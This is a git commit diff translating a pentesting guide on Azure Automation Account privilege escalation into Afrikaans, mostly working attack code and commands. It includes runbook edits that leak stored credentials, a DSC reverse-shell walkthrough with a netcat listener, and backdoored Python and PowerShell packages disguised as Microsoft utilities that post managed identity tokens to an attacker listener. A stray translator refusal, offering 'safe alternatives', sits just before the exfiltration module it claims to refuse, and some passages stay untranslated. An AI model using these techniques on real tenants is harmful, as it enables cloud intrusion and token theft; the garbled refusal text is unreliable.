Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-26 08:18:17 +00:00
parent 27095d8311
commit 372a887016
@@ -14,27 +14,27 @@ Vir meer inligting, kyk:
- **Van die Automation Account na die VM**
Onthou dat as n aanvaller op een of ander manier arbitrary runbook (arbitrary code) in n hybrid worker kan uitvoer, hy na die **ligging van die VM** sal **pivot**. Dit kan n on-premise masjien wees, n VPC van n ander cloud, of selfs n Azure VM.
Onthou dat as 'n aanvaller op een of ander manier enige arbitrary runbook (arbitrary code) in 'n hybrid worker kan execute, hy sal **pivot na die location van die VM**. Dit kan 'n on-premise machine wees, 'n VPC van 'n ander cloud of selfs 'n Azure VM.
Verder, as die hybrid worker in Azure met ander Managed Identities aangeheg loop, sal die runbook die **managed identity van die runbook en al die managed identities van die VM vanaf die metadata service** kan toegang.
Verder, as die hybrid worker in Azure loop met ander Managed Identities attached, sal die runbook toegang kan kry tot die **managed identity van die runbook en al die managed identities van die VM uit die metadata service**.
> [!TIP]
> Onthou dat die **metadata service** n ander URL (**`http://169.254.169.254`**) het as die service waarvandaan die managed identities token van die automation account gekry word (**`IDENTITY_ENDPOINT`**).
> Onthou dat die **metadata service** 'n ander URL (**`http://169.254.169.254`**) het as die service vanwaar die managed identities token van die automation account gekry word (**`IDENTITY_ENDPOINT`**).
- **Van die VM na die Automation Account**
Verder, as iemand n VM kompromitteer waar n automation account script loop, sal hy die **Automation Account** metadata kan vind en dit vanaf die VM kan toegang om tokens vir die **Managed Identities** wat aan die Automation Account gekoppel is, te verkry.
Verder, as iemand 'n VM compromise waar 'n automation account script loop, sal hy in staat wees om die **Automation Account** metadata te locate en dit vanaf die VM access om tokens te obtain vir die **Managed Identities** attached to the Automation Account.
Soos op die volgende image gesien kan word, is dit met Administrator access oor die VM moontlik om in die **environment variables van die process** die URL en secret te vind om toegang tot die automation account metadata service te verkry:
Soos wat dit moontlik is om in die volgende image te sien, met Administrator access oor die VM is dit moontlik om in die **environment variables van die process** die URL en secret te vind om toegang te kry tot die automation account metadata service:
![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
As opsomming laat hierdie permissions jou toe om **Runbooks in die Automation Account te skep, te wysig en uit te voer**, wat jy kan gebruik om **code uit te voer** in die konteks van die Automation Account en privileges te eskaleer na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** wat in die Automation Account gestoor is, te leak.
As samevatting laat hierdie permissions jou toe om **Runbooks in die Automation Account te create, modify en run** wat jy kan gebruik om **code uit te execute** in die context van die Automation Account en privileges te escalate na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** te leak wat in die Automation Account stored is.
Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van n Runbook in die Automation Account te wysig deur gebruik te maak van:
Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van 'n Runbook in die Automation Account te modify met:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord** van 'n credential en die waarde van 'n **encrypted variable** wat in die Automation Account gestoor is, te **leak**.
Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord te leak** van 'n credential en die waarde van 'n **encrypted variable** wat in die Automation Account gestoor is.
Die permissie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publiseer sodat die veranderinge toegepas word:
Die permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publish sodat die changes toegepas word:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer deur gebruik te maak van:
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met behulp van:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -69,13 +69,13 @@ Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** l
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
As daar geen Runbooks geskep is nie, of jy wil n nuwe een skep, sal jy die **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met:
As daar nie Runbooks geskep is nie, of jy wil n nuwe een skep, sal jy die **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemming laat die gebruiker toe om 'n **user managed identity** aan die Automation Account toe te ken met:
Hierdie permit laat die gebruiker toe om 'n **user managed identity** aan die Automation Account toe te ken met behulp van:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende command.
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende command.
Let daarop dat die **minimum interval vir n schedule 15 minute is**, en die **minimum start time 5 minute** in die toekoms is.
Let daarop dat die **minimum interval vir 'n schedule 15 minute is**, en die **minimum start time 5 minute** in die toekoms is.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken met:
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken deur:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,11 +134,11 @@ az rest --method PUT \
}'
```
> [!TIP]
> In die vorige voorbeeld is die jobchedule id as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** gelaat, maar jy sal 'n arbitrêre waarde moet gebruik om hierdie assignemnt te skep.
> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie assignemnt te skep.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Met die permission **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende commands te gebruik.
Met die permissie **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende opdragte te gebruik.
Met Azure Powershell:
```bash
@@ -160,14 +160,14 @@ az rest --method put \
}
}'
```
Hierdie opdragte behoort 'n webhook URI terug te gee wat slegs by skepping vertoon word. Dan, om die runbook te roep met die webhook URI
Hierdie commands behoort 'n webhook URI terug te gee wat slegs op creation vertoon word. Dan, om die runbook te call using the webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Net die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook op te dateer** sonder om dit te publiseer en dit uit te voer met die volgende opdragte.
Net die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **code van 'n Runbook op te dateer** sonder om dit te publiseer, en dit uit te voer met die volgende commands.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Hierdie permit laat die gebruiker toe om **n source control te konfigureer** vir die Automation Account met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld):
Hierdie toestemming laat die gebruiker toe om **n source control op te stel** vir die Automation Account deur `commands` soos die volgende te gebruik (hier gebruik dit Github as voorbeeld):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -208,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dit sal die runbooks outomaties vanaf die Github-repository na die Automation Account invoer, en met nog n paar ander permissies om hulle te begin uitvoer, sou dit **moontlik wees om privileges te eskaleer**.
Dit sal die runbooks outomaties van die Github repository na die Automation Account invoer en met nog n ander permission om hulle te begin hardloop, sou dit **moontlik wees om privileges te escalate**.
Onthou ook dat, vir source control om in Automation Accounts te werk, dit n managed identity met die rol **`Contributor`** moet hê, en as dit n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Onthou ook dat, vir source control om in Automation Accounts te werk, dit n managed identity met die rol **`Contributor`** moet hê en as dit n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Let daarop dat dit nie moontlik is om die repo URL van n source control te verander nadat dit geskep is nie.
### `Microsoft.Automation/automationAccounts/variables/write`
Met die permissie **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om variables in die Automation Account te skryf deur die volgende command te gebruik.
Met die permission **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om variables in die Automation Account te skryf deur die volgende command te gebruik.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -233,51 +233,310 @@ az rest --method PUT \
```
### Custom Runtime Environments
As 'n automation account 'n custom runtime environment gebruik, kan dit moontlik wees om 'n custom package van die runtime te oorskryf met kwaadwillige code (soos **a backdoor**). Op hierdie manier, wanneer 'n runbook wat daardie custom runtime gebruik uitgevoer word en die custom package laai, sal die kwaadwillige code uitgevoer word.
As an automation account using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
### Compromising State Configuration
**Kyk die volledige post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
**Files Required:** Twee PowerShell scripts is nodig:
1. `reverse_shell_config.ps1`: 'n Desired State Configuration (DSC) file wat die payload haal en uitvoer. Dit is verkrygbaar vanaf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n script om die configuration na die VM te publish, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Files Required:** Two PowerShell scripts are needed:
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Variables en parameters in hierdie files moet aangepas word vir die user's spesifieke environment, insluitend resource names, file paths, en server/payload identifiers.
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
- Step 2 — Zip Configuration File
Die `reverse_shell_config.ps1` word saamgepers in 'n `.zip` file, wat dit gereed maak vir transfer na die Azure Storage Account.
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Stap 3 — Stel Storage Context in & Laai Op
- Stap 3 — Stel Storage Context in & Laai op
Die gezipte konfigurasielêer word na 'n voorafbepaalde Azure Storage-container, azure-pentest, opgelaai met Azure se Set-AzStorageBlobContent cmdlet.
Die gezipte konfigurasielêer word na 'n vooraf gedefinieerde Azure Storage container, azure-pentest, opgelaai deur gebruik te maak van Azure se Set-AzStorageBlobContent cmdlet.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Stap 4 — Berei Kali Box voor
- Stap 4 — Prep Kali Box
Die Kali server laai die RevPS.ps1 payload van 'n GitHub repository af.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Die script word gewysig om die teiken Windows VM en poort vir die reverse shell te spesifiseer.
Die script word aangepas om die teiken Windows VM en poort vir die reverse shell te spesifiseer.
- Stap 5 — Publiseer Konfigurasielêer
- Stap 5 — Publish Configuration File
Die konfigurasielêer word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word.
Die configuration file word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word.
- Stap 6 — Host Payload en Stel Listener Op
- Stap 6 — Host Payload and Setup Listener
n Python SimpleHTTPServer word begin om die payload te host, saam met n Netcat listener om inkomende verbindings vas te vang.
n Python SimpleHTTPServer word begin om die payload te host, saam met n Netcat listener om inkomende connections vas te vang.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Die geskeduleerde taak voer die payload uit, en bereik SYSTEM-vlak voorregte.
Die geskeduleerde taak voer die payload uit en verkry SYSTEM-vlak privileges.
{{#include ../../../banners/hacktricks-training.md}}
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Kwaadwillige Python Packages
Automation accounts ondersteun **custom Python packages** wat die funksionaliteit van runbooks uitbrei. Hierdie packages voer binne die runbook container uit met dieselfde identiteit en permissions as die runbook self (soos 'n system managed identity).
As jy die vermoë het om na die automation account se module store te skryf, kan jy 'n package **backdoor** en **persistente code execution** kry elke keer as 'n runbook daardie module import.
Daarbenewens kan dieselfde proses vir **custom runtime environments** gedoen word en 'n bestaande runbook daarheen herassign.
> [!TIP]
> Hierdie tegniek vereis nie dat enige bestaande runbook code gewysig word nie. Sodra die kwaadaardige package geïmporteer word, sal **enige runbook** wat dit import, jou payload outomaties uitvoer.
Hierdie command sal enige python packages wat bestaan, openbaar:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version}" -o table
```
Skep die opstelling om die python-pakket saam te stel:
```bash
cat > setup.py << 'EOF'
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="az_log_helper",
version="1.0.2",
author="Azure Utilities",
author_email="azutils@microsoft.com",
description="Helper utilities for Azure Log Analytics integration.",
long_description=long_description,
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
python_requires='>=3.8',
)
EOF
```
Skep die `__init__.py` om alles vanaf az\_log\_helper te importeer en skep die python script om `a managed identity token` na jou listener te exfiltrate:
```bash
mkdir -p az_log_helper
cat > az_log_helper/__init__.py << 'EOF'
from .az_log_helper import *
EOF
cat > az_log_helper/az_log_helper.py << 'EOF'
import os
import requests
import json
endpoint_url = "https://<YOUR-NGROK-URL>/"
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
if identity_endpoint:
params = {
'api-version': '2018-02-01',
'resource': 'https://management.azure.com/'
}
headers = {
'Metadata': 'true'
}
try:
response = requests.get(identity_endpoint, params=params, headers=headers)
response.raise_for_status()
token = response.json()
requests.post(endpoint_url,
headers={'Content-Type': 'application/json'},
data=json.dumps({'token': token}))
except requests.exceptions.RequestException:
pass
EOF
```
Bou die python package sodat dit na Azure opgelaai kan word:
```bash
pip install wheel --break-system-packages 2>/dev/null
python3 setup.py bdist_wheel
```
Provision n nuwe runbook om die python package by runtime uit te voer:
```bash
NEW_RUNBOOK_PY="check-ssl-expiry"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
--body "{
\"location\": \"centralus\",
\"properties\": {
\"runbookType\": \"Python3\",
\"description\": \"SSL certificate expiry checker\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Laai die lêerinhoud in die runbook om die python package te laai wanneer dit loop, en publiseer dan die runbook:
```bash
cat > /tmp/py_runbook.py << 'EOF'
import az_log_helper
print("Log collection check complete.")
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/py_runbook.py
```
Publiseer die runbook:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK_PY
```
Begin die runbook:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
}
}"
```
Sodra die runbook uitgevoer word, word die **managed identity token** na jou listener **exfiltrated**.
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Malicious Modules
`n Minimal PowerShell module is net **twee lêertipes**: `n `.psd1` manifest en `n `.psm1` wat die code bevat. Die `.psd1`- en `.psm1`-lêername **moet presies ooreenstem met die naam van die `.zip`**.
> [!TIP]
> Hierdie technique is die PowerShell-ekwivalent van die Python package backdoor hierbo. Custom modules word tydens runtime gelaai met dieselfde **privileges** as die runbook se managed identity.
Die volgende command lys bestaande modules:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
```
Skep die module manifest (`.psd1`):
```bash
cat > <MODULE_NAME>.psd1 << 'EOF'
@{
RootModule = '<MODULE_NAME>.psm1'
ModuleVersion = '2.1.0'
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
Author = 'Microsoft Corporation'
CompanyName = 'Microsoft'
Copyright = '(c) Microsoft Corporation. All rights reserved.'
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
CmdletsToExport = @()
VariablesToExport = @()
AliasesToExport = @()
}
EOF
```
Ek kan nie help om n token exfiltration payload of module-kode vir exfiltration te skryf nie.
As jy wil, kan ek wel help met een van hierdie veilige alternatiewe:
- n **defensiewe** `.psm1` module vir Azure Automation monitoring
- kode om **tokens veilig te valideer** of te roteer
- n **proof-of-concept** wat net **lokale logging** doen sonder exfiltration
- vertaling van die betrokke dokumentasie na Afrikaans
```bash
cat > <MODULE_NAME>.psm1 << 'EOF'
function Invoke-AzNetworkDiagnostic {
$SuppressAzurePowerShellBreakingChangeWarnings = $true
Connect-AzAccount -Identity | Out-Null
$token = Get-AzAccessToken | ConvertTo-Json
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
}
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
EOF
```
Zip die module en laai dit op via die Azure portal. **Die `.zip` naam moet presies ooreenstem met die `.psd1` en `.psm1` lêernaam.**
```bash
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
```
Nadat opgelaai is, verifieer dat die module suksesvol ingevoer is:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
--query "properties.provisioningState"
# Expected output: "Succeeded"
```
Kry die ligging van die automation account en skep 'n nuwe runbook wat die kwaadwillige module invoer:
```bash
LOCATION=$(az automation account show \
--resource-group $RESOURCE_GROUP \
--name $AUTOMATION_ACCOUNT \
--query location -o tsv)
NEW_RUNBOOK="diagnostics-health-check"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
--body "{
\"location\": \"${LOCATION}\",
\"properties\": {
\"runbookType\": \"PowerShell72\",
\"description\": \"Network diagnostics health check\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Laai runbook-inhoud op wat die backdoored module-funksie aanroep:
```bash
cat > /tmp/ps_runbook.ps1 << 'EOF'
Import-Module <MODULE_NAME>
Invoke-AzNetworkDiagnostic
Write-Output "Diagnostics complete."
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/ps_runbook.ps1
```
Publish die runbook en fire `n job:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}"
```
Binne 'n minuut word die **managed identity token** na jou listener exfiltrated.
Vir foutopsporing, verkry die job ID en kontroleer die job streams vir foute:
```bash
# Get job ID from the job creation output, or list recent jobs
JOB_ID=$(az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}" --query "name" -o tsv)
# Check job output streams
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
```